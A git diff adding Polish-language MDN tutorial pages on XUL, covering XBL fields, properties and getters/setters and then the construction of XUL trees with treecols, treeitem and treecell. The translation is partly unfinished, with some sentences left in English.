+<p>Wszystkie trzy są zdefiniowane wewnątrz <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#implementation">implementation</a></code></code> elementu, który powinien być dzieckiem <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#binding">binding</a></code></code> elementem. Wewnątrz implementacji, definiujesz swoje własne <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code>, <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#property">property</a></code></code> i <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#method">method</a></code></code> elementów, dla każdej jednej, którą wybierzesz. Składnia główna wygląda następująco:</p>
+
+<pre>&lt;binding id="element-name"&gt;
+ &lt;content&gt;
+ -- content goes here --
+ &lt;/content&gt;
+ &lt;implementation&gt;
+ &lt;field name="field-name-1"/&gt;
+ &lt;field name="field-name-2"/&gt;
+ &lt;field name="field-name-3"/&gt;
+
+ &lt;property name="property-name-1"/&gt;
+ &lt;property name="property-name-2"/&gt;
+ &lt;property name="property-name-3"/&gt;
+ .
+ .
+ .
+ &lt;method name="method-name-1"&gt;
+ -- method content goes here --
+ &lt;/method&gt;
+ .
+ .
+ .
+ &lt;/implementation&gt;
+&lt;/binding&gt;
+</pre>
+
+<h3 id="Pola" name="Pola">Pola</h3>
+
+<p>Każde pole jest definiowane używając elementów <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code>. Często, pola będą odpowiadać atrybutom położonym wewnątrz elementu, są to <code>label</code> lub <code>disabled</code>, ale on do not have to.</p>
+
+<p>Atrybut <code>name</code> w <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code> (polu) elementu jest użyty do wskazania nazwy pola. Możesz użyć nazwę ze skryptu aby pobrać i ustawić wartość. Przykład poniżej tworzy przycisk, który generuje i ukrywa losową liczbę. You can retrieve this same number multiple times by getting the <code>number</code> property from the button. Most of the work here is done in the <code>oncommand</code> handlers. Later, we'll find out how to move this to XBL.</p>
+
+<pre class="eval"><strong>XUL:</strong>
+
+&lt;box id="random-box" class="randomizer"/&gt;
+
+&lt;button label="Generate"
+ oncommand="document.getElementById('random-box').number=Math.random();"/&gt;
+&lt;button label="Show"
+ oncommand="alert(document.getElementById('random-box').number)"/&gt;
+
+<strong>XBL:</strong>
+
+&lt;binding id="randomizer"&gt;
+ &lt;implementation&gt;
+ &lt;field name="number"/&gt;
+ &lt;/implementation&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>Pola <code>number</code> zostały zdefiniowane w wiązaniach, które przechowują random number. Dwa dodatkowe przyciski ustawiamy i pobieramy wartości tych pól. Składnia jest bardzo podobna do pobieranej i wysyłanej do własności języka HTML. W tym przykładzie, no content has been placed inside either the XUL box or its definition in XBL, which is perfectly valid.</p>
+
+<p>Ten przykład nie jest do końca poprawny, ponieważ polu nie jest przypisana wartość domyślna. Aby to zrobić, dodaj domyślną wartość jako zawartość zakładki <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code>. Na przykład:</p>
+
+<pre>&lt;field name="number"&gt;
+ 25
+&lt;/field&gt;
+</pre>
+
+<p>To przypisze wartość 25 jako wartość domyślną pola liczbowego. W rzeczywistości zamiast tego możesz wpisać skrypt wewnątrz zakładki <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code>, który oszacuje domyślną wartość. Może się to okazać konieczne, jeśli wartość musi być obliczona. Na przykład, następującemu polu przypisana jest wartość domyślna równa aktualnemu czasowi:</p>
+
+<pre>&lt;field name="currentTime"&gt;
+ new Date().getTime();
+&lt;/field&gt;
+</pre>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<p>Czasem będziesz chciał odświeżyć dane, dołączone do własności, albo chciałbyś, żeby wartość była obliczana dynamicznie, gdy o to poprosi użytkownik. Na przykład, jeśli masz własność, która przechowuje aktualny czas, będziesz pewnie chciał, żeby jej wartość była generowana w czasie rzeczywistym. W takim przypadku musisz użyć zakładki <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#property">property</a></code></code> zamiast zakładki <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code>. Jego składnia jest podobna, ale ma inne dodatkowe cechy.</p>
+
+<h4 id="Onget_Attribute_and_Onset_Attribute" name="Onget_Attribute_and_Onset_Attribute">Onget Attribute and Onset Attribute</h4>
+
+<p>Możesz użyć atrybutu <code>onget</code> and <code>onset</code> aby wywołać kod, gdy własność jest odzyskiwana lub modyfikowana. Dodaj każdy atrybut do elementu <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#property">property</a></code></code> i ustaw jej wartość na skrypt, który albo pobiera albo ustawia wartość danej własności.</p>
+
+<p>Na przykład, możesz przypisać skrypt do wartości <code>onget</code> aby obliczyć aktualny czas. Gdy tylko skrypt będzie chciał uzyskać dostęp do wartości tej własności, wywołany zostanie skrypt <code>onget</code>, aby odzyskać wartość. Powinien on zwrócić wartość, która będzie uważana za wartość tej własności.</p>
+
+<p>Trener <code>onset</code> jest podobny, ale jest wywoływany wtedy, gdy skrypt próbuje przypisać nową wartość danej własności. Ten skrypt powinien przechowywać gdzieś wartość albo uaktualniać ją. Na przykład niektóre własności mogą przechowywać tylko liczby. Próba przypisania tekstu do takiej własności powinna być przerwana.</p>
+
+<pre>&lt;property name="size"
+ onget="return 77;"
+ onset="alert('Changed to:'+val); return val;"/&gt;
+</pre>
+
+<p>Ta własność będzie zawsze zwracała 77, przy próbie pobrania. Przy próbie ustawienia wartości, wyświetli się komunikat ostrzegawczy, który pokaże jaką wartość przypisano własności. Specjalna zmienna <code>val</code> przechowuje wartość, która powinna być przypisana własności. Użyj tego do uaktualnienia jej lub przechowywania. Kod <code>onset</code> powinien także zwrócić nową wartość.</p>
+
+<p>Następujący fragment opisuje typową sytuację:</p>
+
+<p>Są dwa elementy: jeden nazywa się "banana", a drugi "orange". Każdy ma odpowiednią własność nazwaną "size" (rozmiar). Napiszmy następujący skrypt:</p>
+
+<pre>banana.size = orange.size;
+</pre>
+
+<ol>
+ <li>Skrypt <code>onget</code> jest wywoływany dla własności rozmiaru dla "orange". Skrypt oblicza wartość i ją zwraca.</li>
+ <li>Uchwyt <code>onset</code> własności "size" obiektu "banana" jest wywoływany. Skrypt użyje wartości znajdującej się w zmiennej <code>val</code> i przypisze ją własności "size" obiektu "banana".</li>
+</ol>
+
+<p>Zauważmy, że w odróżnieniu od pola, własność nie przechowuje wartości. Próba ustawienia własności, która nie posiada trenera <code>onset</code> spowoduje wyświetlenie błędu. Często będziesz korzystał z oddzielnego pola, aby przechowywać wartość własności. Równie często sprawia się, że własność odpowiada atrybutowi elementu zdefiniowanego przez XBL. Następujący przykład mapuje własność na atrybut pewnego elementu:</p>
+
+<pre>&lt;property name="size"
+ onget="return this.getAttribute('size');"
+ onset="return this.setAttribute('size',val);"
+/&gt;
+</pre>
+
+<p>Gdy tylko skrypt próbuje pobrać wartość własności, pobiera ją z atrybutu elementu o tej samej nazwie. Natomiast gdy próbuje ustawić jej wartość, jest ona przypisywana do atrybutu tego elementu. Jest to bardzo wygodne, ponieważ wtedy możesz modyfikować własność lub atrybut i obydwoje będą miały taką samą wartość.</p>
+
+<h4 id="Getter_Element_and_Setter_Element" name="Getter_Element_and_Setter_Element">Getter Element and Setter Element</h4>
+
+<p>Możesz użyć alternatywnej składni dla atrybutów <code>onget</code> i <code>onset</code>, która jest przydatna, jeśli skrypt jest dłuższy. Możesz wymienić atrybut <code>onget</code> na element potomny nazywany <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#getter">getter</a></code></code>. Podobnie, możesz wymienić atrybut <code>onset</code> na element <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#setter">setter</a></code></code>. Poniższy przykład ilustruje tą zamianę:</p>
+
+<pre>&lt;property name="number"&gt;
+ &lt;getter&gt;
+ return this.getAttribute('number');
+ &lt;/getter&gt;
+ &lt;setter&gt;
+ var v = parseInt(val,10);
+ if (!isNaN(v)) return this.setAttribute('number',''+v);
+ else return this.getAttribute('number');"
+ &lt;/setter&gt;
+&lt;/property&gt;
+</pre>
+
+<p>Własność w tym przykładzie będzie mogła przechowywać wyłącznie liczby całkowite. Jeśli inne cyfry lub litery będą wpisane, zostaną usunięte. Jeśli nie będzie żadnych cyfr, wartość pozostanie niezmieniona. Jest to wykonywane przez część kodu wewnątrz elementu <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#setter">setter</a></code></code>. Prawdziwa wartość własności jest przechowywana w atrybucie <code>number</code>.</p>
+
+<p>Możesz używać obu składni do tworzenia uchwytów pobrania i ustawienia.</p>
+
+<h4 id="Atrybut_tylko_do_odczytu" name="Atrybut_tylko_do_odczytu">Atrybut tylko do odczytu</h4>
+
+<p>Utwórz pole z własnościami 'Tylko do odczytu', dodając atrybut <code>readonly</code> do znacznika pola (<code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#field">field</a></code></code>) lub własności znacznika (<code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#property">property</a></code></code>) i ustawienie go na <code>true</code>. Próbując ustawić wartość własności 'Tylko do odczytu' zakończone nie powodzeniem.</p>
+
+<p>W następnym artykule zobaczymy <a href="pl/Kurs_XUL/Dodawanie_metod">jak dodać metody do definicji elementu XBL</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dziedziczenie_atrybutu_XBL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_metod">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/drzewa/index.html
new file mode 100644
index 0000000000..b416840314
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/drzewa/index.html
@@ -0,0 +1,117 @@
+---
+title: Drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Trees
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Przykłady_XPCOM" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_drzewa">Następny »</a></p>
+</div><p></p>
+<p>XUL umożliwia tworzenie tabelarycznych lub hierarchicznych list przy użyciu drzewa.</p>
+<h3 id="Drzewo" name="Drzewo">Drzewo</h3>
+<p><a href="/pl/XUL/tree" title="pl/XUL/tree">Drzewo</a> w XUL jest jednym z najbardziej złożonych elementów. Drzewo może być użyte w celu wyświetlenia wierszy tekstu w kolumnach, na liście lub hierarchicznie. Drzewo umożliwia zmiany wyglądu, rozmiaru czy ukrywanie poszczególnych kolumn. Przykładami drzew są między innymi te zawierające listę wiadomości w programie pocztowym lub w okno zakładek w Mozilli.</p>
+<p>W wielu sytuacjach drzewo posiada wiele wspólnych cech z polami listy (<code><a href="/pl/XUL/listbox" title="pl/XUL/listbox">listbox</a></code>). Oba mogą być użyte do utworzenia tabel z danymi, zawierających wiele wierszy i kolumn oraz nagłówków. Jednak drzewa umożliwiają zagnieżdżanie wierszy, czego nie umożliwiają pola list. Przewagą pól list jest to, że można w nich zawrzeć dowolny typ zawartości, podczas gdy drzewa mogą zawierać tylko obrazy i tekst (stosując zaawansowane możliwości, możemy dodać do drzewa paski postępu lub pola wyboru).</p>
+<p>Drzewo składa się z dwóch części, ciała drzewa i ustawienia kolumn:</p>
+<ul> <li>Zestawu kolumn, który jest zdefiniowany przez pewną liczbę elementów <code><a href="/pl/XUL/treecol" title="pl/XUL/treecol">treecol</a></code>, po jednym na każdą kolumnę. Każda kolumna będzie widoczna w postaci nagłówka na szczycie drzewa.</li> <li>Druga cześć, ciało drzewa (tree body), które zawiera dane ukazujące się w drzewie i jest ono tworzone przy użyciu znacznika <code><a href="/pl/XUL/treechildren" title="pl/XUL/treechildren">treechildren</a></code>.</li>
+</ul>
+<p>Drzewo jest wyjątkowym elementem. Ciało drzewa składa się z pojedynczego widgetu, który wyświetla wszystkie dane w drzewie. To kontrastuje z polem listy, gdzie pojedynczy znacznik <code><a href="/pl/XUL/listitem" title="pl/XUL/listitem">listitem</a></code> i <code><a href="/pl/XUL/listcell" title="pl/XUL/listcell">listcell</a></code> jest stosowany by wyszczególnić wiersze w polu listy. W drzewie wszelkie dane do wyświetlenia są dostarczane przez oddzielny obiekt zwany widokiem drzewa. Gdy przyjdzie kolej na pokazanie komórki, widget drzewa określi, co jest do wyświetlenia i wyśle taką informację do widoku drzewa, co następnie będzie wyświetlone przez drzewo. Drzewo jest zdolne do tego, by wyciągać informacje z widoku, które wiersze mają być wyświetlone. To umożliwia optymalizację widoku w taki sposób, by pobierał informacje tylko o tym, co ma być wyświetlone. Dla przykładu, drzewo może mieć tysiące wierszy, dodatkowo większość z nich rozwiniętych poza granice widoku, tak że nie są widoczne. To znaczy, że drzewo jest skalowalne do dowolnych rozmiarów bez problemów z wydajnością.</p>
+<p>Widok drzewa jest obiektem implementującym interfejs <a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a>. Interfejs ten zawiera trzydzieści własności i funkcji, które można zaimplementować. Funkcje te będą wywoływane przez drzewo zawsze, kiedy będzie konieczne uzyskać dane o stanie drzewa. Na przykład funkcja <code>getCellText()</code> będzie wywoływana w celu pobrania etykiety dla konkretnej komórki drzewa.</p>
+<p>Korzyścią z używania widoku jest w pewnym stopniu możliwość przechowywania w widoku danych w sposób dla nich odpowiedniejszy lub ładowania danych na żądanie (tak jak wiersze są wyświetlane). To umożliwia uzyskanie większej elastyczności podczas używania drzew.</p>
+<p>Naturalnie, próba implementacji widoku drzewa z trzydziestoma lub więcej własnościami i metodami może być bardzo niewygodna, w szczególności dla prostych drzew. Na szczęście XUL dostarcza kilka wbudowanych rozwiązań, które wykonają najtrudniejsze zadania za Ciebie. Dla większości drzew (szczególnie, gdy zaczynasz prace z drzewami), możesz użyć jednego z gotowych, wbudowanych typów. Jednak nic nie stoi na przeszkodzie, aby utworzyć całkowicie nowy wygląd. Jeżeli chcesz możesz przechowywać dane w tablicy lub w strukturze danych JavaScript<span class="comment"><a href="/pl/A_re-introduction_to_JavaScript#Arrays">array</a></span>, bądź wczytywać dane z pliku XML.</p>
+<p>Ponieważ całe ciało drzewa to pojedynczy widget, nie można zmienić stylu podanego wiersza lub komórki normalną drogą dlatego, że nie ma tam elementów, które wyświetlają pojedyncze komórki, jak to ma miejsce przy <code><a href="/pl/XUL/listbox" title="pl/XUL/listbox">listbox</a></code>. Zamiast tego całość jest rysowana przez ciało drzewa przy użyciu danych dostarczanych przez widok. To jest ważny punkt i wielu programistów XUL ma problem w zrozumieniu tego aspektu. By zmodyfikować wygląd pojawiającej się komórki, widok musi połączyć zestaw słów kluczowych dla wiersza i komórki. Używana jest specjalna składnia CSS. W pewien sposób to wygląda jak używanie klas CSS. Stylizacja drzew będzie omówiona bardziej szczegółowo <a href="/pl/Kurs_XUL/Nadawanie_stylu_drzewa" title="pl/Kurs_XUL/Nadawanie_stylu_drzewa">nieco później</a>.</p>
+<h3 id="Elementy_drzewa" name="Elementy_drzewa">Elementy drzewa</h3>
+<p>Drzewa mogą być tworzone przy użyciu elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code>, które są opisane w następnych artykułach. Są też tam dwa elementy używane przy definiowaniu kolumn, które są wyświetlone w drzewie.</p>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></dt> <dd>Zewnętrzny element drzewa.</dd>
+</dl>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code></dt> <dd>Element wypełniający zestaw <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code>.</dd>
+</dl>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></dt> <dd>Jest używany do deklarowania pojedynczej kolumny drzewa. Używając tego elementu, można określić dodatkową informację o tym, jak dane w kolumnach maja być posortowane, a także czy użytkownik może zmieniać rozmiar kolumn. Zawsze powinno się umieszczać atrybut <code><a href="/pl/XUL/Atrybut/id" title="pl/XUL/Atrybut/id">id</a></code> na kolumnie. Mozilla stosuje <code><a href="/pl/XUL/Atrybut/id" title="pl/XUL/Atrybut/id">id</a></code> do identyfikacji kolumn przy ich ponownej aranżacji lub ich ukrywaniu. Od wersji 1.8 Mozilla już tego nie wymaga, jednak mimo wszystko dobrze jest używać atrybutu <code>id</code> do oznaczania kolumn.</dd>
+</dl>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></dt> <dd>Zawiera główne ciało drzewa, w którym są wyświetlane pojedyncze wiersze danych.</dd>
+</dl>
+<h5 id="Przyk.C5.82ad_drzewa_z_dwoma_kolumnami" name="Przyk.C5.82ad_drzewa_z_dwoma_kolumnami">Przykład drzewa z dwoma kolumnami</h5>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_1.xul">Podgląd</a></p>
+<pre>&lt;tree flex="1"&gt;
+
+ &lt;treecols&gt;
+ &lt;treecol id="nameColumn" label="Nazwa" flex="1"/&gt;
+ &lt;treecol id="addressColumn" label="Adres" flex="2"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren/&gt;
+
+&lt;/tree&gt;
+</pre>
+<p>Cała tabela otoczona elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code>. To deklaruje element, który jest użyty jako tabela lub drzewo. Podobnie jak z tabelami HTML, dane w drzewie są zorganizowane w wierszach. Kolumny są określone przy pomocy znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code></code>.</p>
+<p>W drzewie możesz umieścić tyle kolumn ile sobie życzysz. Tak jak w przypadku <a href="/pl/Kurs_XUL/Kontrolki_list" title="pl/Kurs_XUL/Kontrolki_list">listy pól</a>, wiersz nagłówka pojawia się wraz z etykietami kolumn na samej górze. Rozwijane menu ukazuje się w prawym górnym rogu drzewa. Użytkownik może go używać do ukrywania i wyświetlania wybranych kolumn. Każda kolumna jest utworzona przy pomocy elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code>. Możesz ustawić etykietę używając jej atrybutu <code>label</code>. Możesz stworzyć elastyczne kolumny, jeśli drzewo będzie elastyczne, to pozwoli ono zmieniać szerokości kolumn. W tym przykładzie druga kolumna jest dwa razy szersza do pierwszej. Wszystkie kolumny powinny być umieszczone wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code></code>.</p>
+<p>W tym przypadku nie określiliśmy widoku w celu dostarczeniu danych drzewa, więc zobaczymy tylko nagłówki kolumn i puste ciało drzewa. Można zmieniać rozmiar okna dopóki nie ma tam żadnych danych do wyświetlenia. Dopóki drzewo było oznaczone jako elastyczne, ciało rozciągało się na całej dostępnej powierzchni. Czyniąc drzewo elastycznym, jak to się zwykle robi, pokazywane są tylko najbardziej istotne dane, więc drzewo jest tak rozciągane, żeby je dopasować. Jednak można wyszczególnić pewną liczbę wierszy (<code><code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></code>) do pokazania w drzewie (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code>) przez umieszczenie rzędów w atrybucie elementu. Atrybut ten określa jak wiele wierszy jest wyświetlanych w interfejsie użytkownika, a nie ile wierszy tam się znajduje. Całkowita liczba <code><code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></code> jest dostarczana przez widok drzewa. Jeżeli w drzewie znajduje się więcej wierszy, przejrzenie pozostałych umożliwia pasek przewijania. Jeżeli nie nadasz atrybutowi <code><code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></code> wartości 0, znaczy to, że żaden z wierszy się nie pojawi. W tym przypadku można by zrobić drzewo elastyczne, jeżeli tak uczyniłeś to nie będzie potrzebny atrybut <code><code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></code>, ponieważ urośnie on do maksymalnej dostępnej powierzchni.</p>
+<h3 id="Tre.C5.9B.C4.87_widoku_drzewa" name="Tre.C5.9B.C4.87_widoku_drzewa">Treść widoku drzewa</h3>
+<p>Mówiliśmy, że dane, by być pokazanymi w drzewie, pochodzą z widoku, a nie ze znaczników XUL, zdarza się, że wbudowany widok drzewa otrzymuje dane właśnie ze znaczników XUL. To może być nieco mylące, ale zasadniczo jeden z wbudowanych widoków drzewa używa zestawu znaczników, które mogą być zastosowane do określenia informacji na temat danych w drzewie. Następujące znaczniki są używane:</p>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></dt> <dd>Zawiera pojedynczy górny poziom wiersza i jego pochodne. Element ten służy także jako element, który może być wybrany przez użytkownika. Znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> powinien być umieszczony dookoła wiersza, tak, że może być wybrany jako całość.</dd>
+</dl>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></dt> <dd>Pojedynczy rząd drzewa, który powinien być umieszczony wewnątrz znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code>.</dd>
+</dl>
+<dl> <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></dt> <dd>Pojedyncza komórka drzewa. Winien być umieszczony wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code>.</dd>
+</dl>
+<p>Znaczniki te powinny być umieszczone bezpośrednio wewnątrz znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>, zagnieżdżone powyżej. Znaczniki definiują dane do umieszczenia w ciele drzewa. W tym przypadku drzewo używa wbudowanego widoku drzewa, zwanego treścią widoku drzewa, który używa etykiet i wartości określonych w tych elementach jako dane dla drzewa. Kiedy drzewo wymaga wyświetlenia wiersza, drzewo zażąda etykietę komórki, od okna widoku używając widoku funkcji getCellText, która otrzymuje dane od etykiety odpowiedniego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code>.</p>
+<p>Jednak są tam trzy wylistowane elementy, które nie są bezpośrednio pokazywane. Są używane jako źródło danych widoku. Są garścią atrybutów dodawanych do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> i powiązanych elementów. Na przykład, nie możesz zmienić wyglądu pojawiających się wierszy drzewa stosując atrybuty <code><code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code></code>, albo z innymi własnościami CSS i odpowiednio powiązanymi cechami, takimi jak elastyczność i orientacja.</p>
+<p>Faktycznie, oprócz kilku specyficznych atrybutów drzewa, tylko atrybuty, które będą przynosiły jakikolwiek efekt, będą atrybutem tekstu etykiety ustawianym przez <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> dla komórki i <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code> w celu umieszczeniu i obrazu. Są jednak specjalne sposoby tytułowania drzewa i umieszczania innych cech, które zobaczymy w kolejnych artykułach.</p>
+<p>Zdarzenia nie są wysyłane do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> i ich dzieci, zamiast tego są wysyłane do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>.</p>
+<p>Jako że pozycje drzewa są niepodobne do elementów XUL, są one źródłem wspólnych nieporozumień dla programistów XUL. Widok drzewa treści widoku jest widoczny tam, gdzie dane dla komórek są dostarczone do znaczników umieszczonych wewnątrz drzewa. Naturalnie, jeżeli używasz widoku innego rodzaju, dane będą dostarczone z innego źródła i nie będzie tam żadnych elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code>.</p>
+<p>Zobaczmy, jak utworzyć proste drzewo z wieloma kolumnami używając treści widoku drzewa. Można tego użyć do stworzenia listy wiadomości e-mail. Może się tam znaleźć wiele kolumn, takich jak nadawca i temat.</p>
+<h4 id="Przyk.C5.82ad_drzewa_z_treechildren" name="Przyk.C5.82ad_drzewa_z_treechildren">Przykład drzewa z <code>treechildren</code></h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_2.xul">Podgląd</a></p>
+<div class="float-right"><img alt="grafika:trees1.png" class=" internal" src="/@api/deki/files/2513/=Trees1.png"></div>
+<pre>&lt;tree flex="1"&gt;
+
+ &lt;treecols&gt;
+ &lt;treecol id="sender" label="Nadawca" flex="1"/&gt;
+ &lt;treecol id="subject" label="Temat" flex="2"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="joe@somewhere.com"/&gt;
+ &lt;treecell label="Ściśle tajne plany"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="mel@whereever.com"/&gt;
+ &lt;treecell label="Zróbmy obiad"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+
+&lt;/tree&gt;
+</pre>
+<p>Jak widać na obrazku, drzewo zostało utworzone z dwoma wierszami danych.</p>
+<p>Drzewo to ma dwie kolumny, z których druga zajmie więcej miejsca niż ta pierwsza. Zazwyczaj będziemy tworzyć elastyczne kolumny. Możemy także dostarczyć informację o szerokościach za pomocą atrybutu <code><code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code></code>. Powinno się zawrzeć taką samą liczbę elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code>, ile jest kolumn w drzewie. W przeciwnym przypadku może to powodować powstawanie dziwnych, nieoczekiwanych sytuacji.</p>
+<p>Wiersz nagłówka jest tworzony automatycznie. Przycisk w prawym górnym rogu może być użyty w celu ukrycia i pokazania kolumn. Można umieścić atrybut <code><code id="a-hidecolumnpicker"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidecolumnpicker">hidecolumnpicker</a></code></code> w drzewie i ustawić go jako <code>true</code> w celu ukrycia tego przycisku. Jeżeli przycisk zostanie tak ukryty, użytkownik nie będzie miał możliwości chowania kolumn.</p>
+<p>Można być pewnym, że ustawiony atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> przy każdej kolumnie, albo ukrywanie i pokazywanie kolumn nie będzie pracować z wszystkimi wersjami przeglądarki Mozilla.</p>
+<p>Element <code>treechildren</code> otacza wszystkie wiersze. Wewnątrz ciała są wiersze, które mogą z kolei zawierać kolejne wiersze. Dla prostszego drzewa każdy wiersz jest tworzony przez <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code>. Element <code>treerow</code> otacza wszystkie komórki w pojedynczym wierszu, podczas gdy element <code>treeitem</code> otaczałby wiersz i wszystkie jego dzieci. Drzewa z zagnieżdżonymi wierszami są opisane w następnym artykule.</p>
+<p>Wewnątrz wierszy możemy umieścić pojedyncze komórki drzewa. Te są tworzone przy użyciu elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code>. Można umieścić tekst komórki używając atrybutu <code>label</code>. Pierwszy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> w wierszu określa zawartość, która ukaże się w pierwszej kolumnie, drugi <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> określa zawartość drugiej kolumny itd.</p>
